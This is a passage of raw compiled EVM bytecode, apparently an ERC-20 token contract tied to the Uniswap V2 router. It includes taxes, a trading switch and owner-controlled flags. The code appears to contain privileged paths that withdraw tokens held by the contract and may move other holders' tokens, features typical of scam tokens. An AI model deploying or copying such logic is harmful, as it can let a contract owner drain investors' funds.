050508160039081620003ab919062000e7a565b508060049081620003bd919062000e7a565b505050620003e0620003d46200099160201b60201c565b6200099960201b60201c565b620003fe336b033b2e3c9fd0803ce800000062000a5f60201b60201c565b6003601060006101000a81548160ff0219169083600381111562000427576200042662001042565b5b02179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60006200048f62000bcc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200115d565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ad1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac890620010d2565b60405180910390fd5b62000ae56000838362000bf660201b60201c565b806002600082825462000af99190620010f4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000bac919062001140565b60405180910390a362000bc86000838362000bfb60201b60201c565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8257607f821691505b60208210810362000c985762000c9762000c3a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cc3565b62000d0e868362000cc3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d5b62000d5562000d4f8462000d26565b62000d30565b62000d26565b9050919050565b6000819050919050565b62000d778362000d3a565b62000d8f62000d868262000d62565b84845462000cd0565b825550505050565b600090565b62000da662000d97565b62000db381848462000d6c565b505050565b5b8181101562000ddb5762000dcf60008262000d9c565b60018101905062000db9565b5050565b601f82111562000e2a5762000df48162000c9e565b62000dff8462000cb3565b8101602085101562000e0f578190505b62000e2762000e1e8562000cb3565b83018262000db8565b50505b505050565b600082821c905092915050565b600062000e4f6000198460080262000e2f565b1980831691505092915050565b600062000e6a838362000e3c565b9150826002028217905092915050565b62000e858262000c00565b67ffffffffffffffff81111562000ea15762000ea062000c0b565b5b62000ead825462000c69565b62000eba82828562000ddf565b600060209050601f83116001811462000ef2576000841562000edd578287015190505b62000ee9858262000e5c565b86555062000f59565b601f19841662000f028662000c9e565b60005b8281101562000f2c5784890151825560018201915060208501945060208101905062000f05565b8683101562000f4c578489015162000f48601f89168262000e3c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f9d8262000d26565b915062000faa8362000d26565b925082820262000fba8162000d26565b9150828204841483151762000fd45762000fd362000f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010178262000d26565b9150620010248362000d26565b92508262001037576200103662000fdb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010ba601f8362001071565b9150620010c78262001082565b602082019050919050565b60006020820190508181036000830152620010ed81620010ab565b9050919050565b6000620011018262000d26565b91506200110e8362000d26565b925082820190508082111562001129576200112862000f61565b5b92915050565b6200113a8162000d26565b82525050565b60006020820190506200115760008301846200112f565b92915050565b608051613bd6620011b86000396000818161092701528181610b9f01528181610c4a01528181610d7d01528181610dc40152818161137e0152818161151b015281816127ed015281816128e601526129890152613bd66000f3fe6080604052600436106102085760003560e01c8063751039fc11610118578063b61b64fa116100a0578063e5b37a651161006f578063e5b37a6514610761578063ef437ff51461079e578063f2fde38b146107c7578063fca675a8146107f0578063ffdf01c31461081b5761020f565b8063b61b64fa146106a5578063bf6a1c0d146106d0578063d931d7be146106e7578063dd62ed3e146107245761020f565b806395d89b41116100e757806395d89b41146105aa578063a014f37d146105d5578063a457c2d714610600578063a9059cbb1461063d578063aa4bde281461067a5761020f565b8063751039fc146105005780638baa8249146105175780638c0b5e22146105545780638da5cb5b1461057f5761020f565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e1461044c57806354b762a6146104775780635ea7e69a146104a257806370a08231146104ac578063715018a6146104e95761020f565b8063313ce5671461038e57806333ee1793146103b957806339509351146103e45780633eb5d9b2146104215761020f565b80631694505e116101d75780631694505e146102d257806318160ddd146102fd57806323b872dd14610328578063253ac0f1146103655761020f565b806303fd2a45146102145780630445b6671461023f57806306fdde031461026a578063095ea7b3146102955761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b60405161028c9190612b3f565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612bbe565b610902565b6040516102c99190612c19565b60405180910390f35b3480156102de57600080fd5b506102e7610925565b6040516102f49190612c93565b60405180910390f35b34801561030957600080fd5b50610312610949565b60405161031f9190612a94565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612cae565b610953565b60405161035c9190612c19565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612d01565b610982565b005b34801561039a57600080fd5b506103a3610aa7565b6040516103b09190612d4a565b60405180910390f35b3480156103c557600080fd5b506103ce610ab0565b6040516103db9190612a94565b60405180910390f35b3480156103f057600080fd5b5061040b60048036038101906104069190612bbe565b610ab6565b6040516104189190612c19565b60405180910390f35b34801561042d57600080fd5b50610436610aed565b6040516104439190612a94565b60405180910390f35b34801561045857600080fd5b50610461610af3565b60405161046e9190612a60565b60405180910390f35b34801561048357600080fd5b5061048c610b19565b6040516104999190612c19565b60405180910390f35b6104aa610b95565b005b3480156104b857600080fd5b506104d360048036038101906104ce9190612d01565b610e7e565b6040516104e09190612a94565b60405180910390f35b3480156104f557600080fd5b506104fe610ec6565b005b34801561050c57600080fd5b50610515610eda565b005b34801561052357600080fd5b5061053e60048036038101906105399190612d01565b610f0a565b60405161054b9190612c19565b60405180910390f35b34801561056057600080fd5b50610569610f2a565b6040516105769190612a94565b60405180910390f35b34801561058b57600080fd5b50610594610f30565b6040516105a19190612a60565b60405180910390f35b3480156105b657600080fd5b506105bf610f5a565b6040516105cc9190612b3f565b60405180910390f35b3480156105e157600080fd5b506105ea610fec565b6040516105f79190612c19565b60405180910390f35b34801561060c57600080fd5b5061062760048036038101906106229190612bbe565b611038565b6040516106349190612c19565b60405180910390f35b34801561064957600080fd5b50610664600480360381019061065f9190612bbe565b6110af565b6040516106719190612c19565b60405180910390f35b34801561068657600080fd5b5061068f6110d2565b60405161069c9190612a94565b60405180910390f35b3480156106b157600080fd5b506106ba6110d8565b6040516106c79190612a94565b60405180910390f35b3480156106dc57600080fd5b506106e56110de565b005b3480156106f357600080fd5b5061070e60048036038101906107099190612d01565b61116e565b60405161071b9190612c19565b60405180910390f35b34801561073057600080fd5b5061074b60048036038101906107469190612d65565b61118e565b6040516107589190612a94565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612d01565b611215565b6040516107959190612c19565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c09190612dd1565b611235565b005b3480156107d357600080fd5b506107ee60048036038101906107e99190612d01565b611298565b005b3480156107fc57600080fd5b5061080561131b565b6040516108129190612e88565b60405180910390f35b34801561082757600080fd5b50610842600480360381019061083d9190612bbe565b61132e565b005b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60606003805461087f90612ed2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab90612ed2565b80156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b60008061090d61165e565b905061091a818585611666565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b60008061095e61165e565b905061096b85828561182f565b6109768585856118bb565b60019150509392505050565b61098a612275565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a029190612a60565b602060405180830381865afa158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190612f18565b6040518363ffffffff1660e01b8152600401610a60929190612f45565b6020604051808303816000875af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190612f83565b5050565b60006012905090565b60125481565b600080610ac161165e565b9050610ae2818585610ad3858961118e565b610add9190612fdf565b611666565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610b85573d6000803e3d6000fd5b5060006016819055506001905090565b610b9d612275565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2c9190613028565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd79190613028565b6040518363ffffffff1660e01b8152600401610cf4929190613055565b6020604051808303816000875af1158015610d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d379190613028565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc2307f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611666565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e0930610e7e565b600080610e14610f30565b426040518863ffffffff1660e01b8152600401610e36969594939291906130b9565b60606040518083038185885af1158015610e54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e79919061311a565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ece612275565b610ed860006122f3565b565b610ee2612275565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f6990612ed2565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9590612ed2565b8015610fe25780601f10610fb757610100808354040283529160200191610fe2565b820191906000526020600020905b815481529060010190602001808311610fc557829003601f168201915b5050505050905090565b6000610ff6612275565b6003601060006101000a81548160ff0219169083600381111561101c5761101b612e11565b5b0217905550600060118190555060006012819055506001905090565b60008061104361165e565b90506000611051828661118e565b905083811015611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906131df565b60405180910390fd5b6110a38286868403611666565b60019250505092915050565b6000806110ba61165e565b90506110c78185856118bb565b600191505092915050565b60095481565b60165481565b6110e6612275565b601060029054906101000a900460ff1615611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d9061324b565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61123d612275565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6112a0612275565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361130f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611306906132dd565b60405180910390fd5b611318816122f3565b50565b601060009054906101000a900460ff1681565b6000600267ffffffffffffffff81111561134b5761134a6132fd565b5b6040519080825280602002602001820160405280156113795781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190613028565b8160008151811061141f5761141e61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061146e5761146d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106114be576114bd61332c565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115b1577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b815260040161157a9493929190613419565b6000604051808303818588803b15801561159357600080fd5b505af11580156115a7573d6000803e3d6000fd5b5050505050611658565b6115bb84846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85846001815181106115ec576115eb61332c565b5b6020026020010151866040518463ffffffff1660e01b815260040161161393929190613465565b6020604051808303816000875af1158015611632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116569190612f83565b505b50505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc9061350e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b906135a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118229190612a94565b60405180910390a3505050565b600061183b848461118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118b557818110156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e9061360c565b60405180910390fd5b6118b48484848403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613730565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a3d5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9257601060029054906101000a900460ff16611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a889061379c565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b365750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2f57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e57600854811115611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9061382e565b60405180910390fd5b600954611be183610e7e565b82611bec9190612fdf565b1115611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906138c0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561226457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611d865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561217657600854821115611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790613952565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611e775750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eaf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f815760006003811115611ec857611ec7612e11565b5b601060009054906101000a900460ff166003811115611eea57611ee9612e11565b5b03611f48576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611f5a9190613972565b611f6491906139e3565b9050611f71853083612407565b8083611f7d9190613a14565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120285750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120785750601060039054906101000a900460ff165b80156120915750601060019054906101000a900460ff16155b15612171576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036120fb5760135490505b6001601060016101000a81548160ff02191690831515021790555061211e61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121499190613972565b61215391906139e3565b9050612160863083612407565b808461216c9190613a14565b925050505b612263565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561222457508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561226257600060646013548461223b9190613972565b61224591906139e3565b9050612252853083612407565b808361225e9190613a14565b9150505b5b5b61226f848483612407565b50505050565b61227d61165e565b73ffffffffffffffffffffffffffffffffffffffff1661229b610f30565b73ffffffffffffffffffffffffffffffffffffffff16146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890613a94565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca828561118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612401576124008483858403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90613730565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610e7e565b03156127425760008061269a30610e7e565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e7e565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a14565b9450600a54821115612722578061270e576000612710565b845b8561271b91906139e3565b6016819055505b84601660008282546127349190612fdf565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a6132fd565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b061332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190613028565b8160018151811061288e5761288d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612943929190612f45565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129869190612f83565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612eea57607f821691505b602082108103612efd57612efc612ea3565b5b50919050565b600081519050612f1281612b92565b92915050565b600060208284031215612f2e57612f2d612b61565b5b6000612f3c84828501612f03565b91505092915050565b6000604082019050612f5a6000830185612a51565b612f676020830184612a85565b9392505050565b600081519050612f7d81612da5565b92915050565b600060208284031215612f9957612f98612b61565b5b6000612fa784828501612f6e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fea82612a7b565b9150612ff583612a7b565b925082820190508082111561300d5761300c612fb0565b5b92915050565b60008151905061302281612b66565b92915050565b60006020828403121561303e5761303d612b61565b5b600061304c84828501613013565b91505092915050565b600060408201905061306a6000830185612a51565b6130776020830184612a51565b9392505050565b6000819050919050565b60006130a361309e6130998461307e565b612c34565b612a7b565b9050919050565b6130b381613088565b82525050565b600060c0820190506130ce6000830189612a51565b6130db6020830188612a85565b6130e860408301876130aa565b6130f560608301866130aa565b6131026080830185612a51565b61310f60a0830184612a85565b979650505050505050565b60008060006060848603121561313357613132612b61565b5b600061314186828701612f03565b935050602061315286828701612f03565b925050604061316386828701612f03565b9150509250925092565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131c9602583612aba565b91506131d48261316d565b604082019050919050565b600060208201905081810360008301526131f8816131bc565b9050919050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000613235601a83612aba565b9150613240826131ff565b602082019050919050565b6000602082019050818103600083015261326481613228565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f64647265737300000000000000000000000000000000000000000000000000006020820152505